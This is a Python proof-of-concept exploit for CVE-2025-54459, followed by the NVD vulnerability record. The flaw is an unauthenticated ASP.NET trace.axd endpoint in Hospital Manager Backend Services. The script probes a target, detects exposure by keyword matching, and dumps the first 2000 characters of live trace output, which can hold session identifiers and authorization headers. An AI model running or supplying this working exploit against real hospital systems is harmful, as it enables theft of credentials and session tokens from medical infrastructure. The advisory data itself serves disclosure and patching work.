CVE-2025-54459

import requests import sys # CVE-2025-54459 PoC - Hospital Manager trace.axd Information Disclosure # Target: Hospital Manager Backend Services # Vulnerability: Unauthenticated access to ASP.NET trace endpoint def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-54459 The /trace.axd endpoint should not be accessible without authentication """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(full_url, headers=headers, timeout=10, verify=False) # Check if trace endpoint is accessible if response.status_code == 200: content = response.text # Check for sensitive information in response sensitive_keywords = ['session', 'cookie', 'authorization', 'request', 'path', 'server', 'variable'] found_sensitive = any(keyword.lower() in content.lower() for keyword in sensitive_keywords) if found_sensitive: print(f"[+] VULNERABLE: {full_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Sensitive information detected in trace output") print(f"[+] Response length: {len(content)} bytes") return True elif response.status_code == 404: print(f"[-] NOT VULNERABLE: trace.axd endpoint not found") return False else: print(f"[*] UNCERTAIN: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False def extract_sensitive_info(target_url): """ Extract sensitive information from trace.axd endpoint """ trace_endpoint = "/trace.axd" full_url = target_url.rstrip('/') + trace_endpoint try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200: print("\n[+] Extracted trace information preview:") print(response.text[:2000]) except Exception as e: print(f"[-] Failed to extract info: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-hospital-manager.com" print(f"[*] Testing target: {target}") print(f"[*] CVE-2025-54459 PoC\n") is_vulnerable = check_vulnerability(target) if is_vulnerable: extract_sensitive_info(target) print("\n[!] WARNING: System is vulnerable. Apply security patches immediately.")

{"cve": {"id": "CVE-2025-54459", "sourceIdentifier": "[email protected]", "published": "2025-10-29T22:15:40.200", "lastModified": "2025-11-06T19:21:29.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Prior to September 19, 2025, the Hospital Manager Backend Services exposed the ASP.NET tracing endpoint /trace.axd without authentication, allowing a remote attacker to obtain live request traces and sensitive information such as request metadata, session identifiers, authorization headers, server variables, and internal file paths."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vertikalsystems:hospital_manager_backend_services:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-19", "matchCriteriaId": "F9A856B2-70B6-4025-B853-B04C9080D91D"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-301-01", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory", "US Government Resource"]}]}}